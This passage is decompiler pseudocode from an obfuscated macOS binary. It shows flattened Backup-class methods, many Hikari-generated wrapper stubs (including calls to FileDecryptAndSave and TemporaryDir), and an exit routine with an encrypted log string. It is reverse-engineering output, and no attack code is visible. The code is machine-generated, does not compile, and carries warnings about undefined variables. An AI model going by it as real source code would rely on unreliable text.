goto LABEL_25;
case 457365226:
v3 = -277341057;
LABEL_25:
*v8 = v3;
break;
case 486790012:
*v8 = 457365226;
break;
}
}
if ( v7 != -900852644 )
break;
*v8 = -277341057;
}
if ( v7 == -277341057 )
{
v3 = -1078697198;
goto LABEL_25;
}
}
while ( v7 != -1078697198 );
return v6;
}
// 100255172: conditional instruction was optimized away because %var_20.4==0
// 10025522B: variable 'v5' is possibly undefined
// 100255329: variable 'v6' is possibly undefined
//----- (0000000100255332) ----------------------------------------------------
void __cdecl -[Backup setFiles:](Backup *self, SEL a2, id a3)
{
int v4; // eax
NSArray **p_files; // [rsp+8h] [rbp-48h]
NSArray *v6; // [rsp+10h] [rbp-40h]
int v7; // [rsp+1Ch] [rbp-34h] BYREF
int *v8; // [rsp+20h] [rbp-30h]
v7 = 1877220314;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > 790675320 )
{
switch ( v7 )
{
case 790675321:
*v8 = -919956708;
break;
case 1242111036:
objc_retain(a3);
v6 = *p_files;
*p_files = (NSArray *)a3;
*v8 = 705324166;
break;
case 1877220314:
v4 = -919956708;
goto LABEL_13;
}
}
if ( v7 != -919956708 )
break;
p_files = &self->_files;
v4 = -442376307;
LABEL_13:
*v8 = v4;
}
if ( v7 != -442376307 )
break;
*v8 = 1242111036;
}
}
while ( v7 != 705324166 );
objc_release(v6);
}
// 1002553B7: conditional instruction was optimized away because %var_38.4==C6BE1444
// 1002553F7: variable 'p_files' is possibly undefined
// 10025547F: variable 'v6' is possibly undefined
//----- (0000000100255485) ----------------------------------------------------
void __cdecl -[Backup .cxx_destruct](Backup *self, SEL a2)
{
int v2; // eax
id *location; // [rsp+8h] [rbp-38h]
int v4; // [rsp+14h] [rbp-2Ch] BYREF
int *v5; // [rsp+18h] [rbp-28h]
location = (id *)&self->_files;
v4 = 1019125951;
v5 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 > 170864122 )
{
if ( v4 > 1019125950 )
{
if ( v4 == 1445694162 )
goto LABEL_15;
if ( v4 == 1019125951 )
LABEL_13:
*v5 = 170864123;
}
else if ( v4 == 170864123 )
{
objc_storeStrong(location, 0);
v2 = -2127885967;
LABEL_18:
*v5 = v2;
}
else if ( v4 == 891418736 )
{
objc_storeStrong(location, 0);
goto LABEL_13;
}
}
if ( v4 > -282745586 )
break;
if ( v4 == -2127885967 )
{
*v5 = 1445694162;
}
else if ( v4 == -1076664068 )
{
v2 = -282745585;
goto LABEL_18;
}
}
if ( v4 != 153675337 )
break;
LABEL_15:
*v5 = -1076664068;
}
}
while ( v4 != -282745585 );
}
//----- (0000000100255600) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_13(objc_super *a1, const char *a2)
{
return objc_msgSendSuper2(a1, a2);
}
//----- (0000000100255610) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_703_2(objc_super *a1, const char *a2)
{
return HikariFunctionWrapper_13(a1, a2);
}
//----- (0000000100255620) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_704_2(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100255630) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_705_2(NSString *a1)
{
HikariFunctionWrapper_704_2(a1);
}
//----- (0000000100255640) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_706_2(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255650) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_707_2(void *a1, const char *a2)
{
return HikariFunctionWrapper_706_2(a1, a2);
}
//----- (0000000100255660) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_708_2(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_709_2(void *a1, const char *a2)
{
return HikariFunctionWrapper_708_2(a1, a2);
}
//----- (0000000100255680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_710_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255690) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_711_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_710_1(a1, a2);
}
//----- (00000001002556A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_712_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002556B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_713_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_712_1(a1, a2);
}
//----- (00000001002556C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_714_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002556D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_715_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_714_1(a1, a2);
}
//----- (00000001002556E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_716_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002556F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_717_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_716_1(a1, a2);
}
//----- (0000000100255700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_718_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255710) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_719_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_718_1(a1, a2);
}
//----- (0000000100255720) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_720_1(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100255730) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_721_1(void *a1, const char *a2)
{
HikariFunctionWrapper_720_1(a1, a2);
}
//----- (0000000100255740) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_722_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255750) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_723_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_722_1(a1, a2);
}
//----- (0000000100255760) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_724_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255770) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_725_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_724_1(a1, a2);
}
//----- (0000000100255780) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_726_1(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100255790) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_727_1(NSString *a1)
{
HikariFunctionWrapper_726_1(a1);
}
//----- (00000001002557A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_728_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002557B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_729_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_728_1(a1, a2);
}
//----- (00000001002557C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_730_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002557D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_731_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_730_0(a1, a2);
}
//----- (00000001002557E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_732_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002557F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_733_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_732_0(a1, a2);
}
//----- (0000000100255800) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_734_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255810) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_735_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_734_0(a1, a2);
}
//----- (0000000100255820) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_736_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_737_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_736_0(a1, a2);
}
//----- (0000000100255840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_738_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255850) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_739_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_738_0(a1, a2);
}
//----- (0000000100255860) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_740_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100255870) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_741_0(void *a1, const char *a2)
{
HikariFunctionWrapper_740_0(a1, a2);
}
//----- (0000000100255880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_742_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255890) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_743_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_742_0(a1, a2);
}
//----- (00000001002558A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_744_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002558B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_745_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_744_0(a1, a2);
}
//----- (00000001002558C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_746_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002558D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_747_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_746_0(a1, a2);
}
//----- (00000001002558E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_748_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002558F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_749_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_748_0(a1, a2);
}
//----- (0000000100255900) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_750_0(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (0000000100255910) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_751_0(void *a1)
{
HikariFunctionWrapper_750_0(a1);
}
//----- (0000000100255920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_752_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255930) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_753_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_752_0(a1, a2);
}
//----- (0000000100255940) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_754_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255950) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_755_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_754_0(a1, a2);
}
//----- (0000000100255960) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_756_0(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100255970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_757_0(objc_class *a1)
{
return HikariFunctionWrapper_756_0(a1);
}
//----- (0000000100255980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_758_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_759_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_758_0(a1, a2);
}
//----- (00000001002559A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_760_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002559B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_761_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_760_0(a1, a2);
}
//----- (00000001002559C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_762_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002559D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_763_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_762_0(a1, a2);
}
//----- (00000001002559E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_764_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002559F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_765_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_764_0(a1, a2);
}
//----- (0000000100255A00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_766_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255A10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_767_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_766_0(a1, a2);
}
//----- (0000000100255A20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_768_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255A30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_769_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_768_0(a1, a2);
}
//----- (0000000100255A40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_770_0(void *a1, void *a2)
{
FileDecryptAndSave(a1, a2);
}
//----- (0000000100255A50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_771_0(void *a1, void *a2)
{
HikariFunctionWrapper_770_0(a1, a2);
}
//----- (0000000100255A60) ----------------------------------------------------
id HikariFunctionWrapper_772_0()
{
return TemporaryDir();
}
//----- (0000000100255A70) ----------------------------------------------------
id HikariFunctionWrapper_773_0()
{
return HikariFunctionWrapper_772_0();
}
//----- (0000000100255A80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_774_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255A90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_775_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_774_0(a1, a2);
}
//----- (0000000100255AA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_776_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255AB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_777_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_776_0(a1, a2);
}
//----- (0000000100255AC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_778_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255AD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_779_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_778_0(a1, a2);
}
//----- (0000000100255AE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_780_0(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100255AF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_781_0(NSString *a1)
{
HikariFunctionWrapper_780_0(a1);
}
//----- (0000000100255B00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_782_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255B10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_783_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_782_0(a1, a2);
}
//----- (0000000100255B20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_784_0(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100255B30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_785_0(NSString *a1)
{
HikariFunctionWrapper_784_0(a1);
}
//----- (0000000100255B40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_786_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255B50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_787_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_786_0(a1, a2);
}
//----- (0000000100255B60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_788_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255B70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_789_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_788_0(a1, a2);
}
//----- (0000000100255B80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_790_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100255B90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_791_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_790_0(a1, a2);
}
//----- (0000000100255BA4) ----------------------------------------------------
void __fastcall __noreturn terminateApplication(__int64 a1, __int64 a2)
{
if ( !dword_10029F1FC )
{
strcpy(aJ, "Terminating application.");
a2 = 2226719337LL;
}
dword_10029F1FC = 1;
NSLog(CFSTR("j\xB4\x1D\x97E/,\x90\xB4@\x05\x94>\x96\xDA\x30*(@\x8E\xA7;\x9C\xAA"), a2, 2353007634LL, 291227794);
exit(1);
}
// 10029F1FC: using guessed type int dword_10029F1FC;
// nfuncs=4384 queued=4228 decompiled=4228 lumina nreq=0 worse=0 better=0
#error "There were 5 decompilation failure(s) on 4228 function(s)"
Comments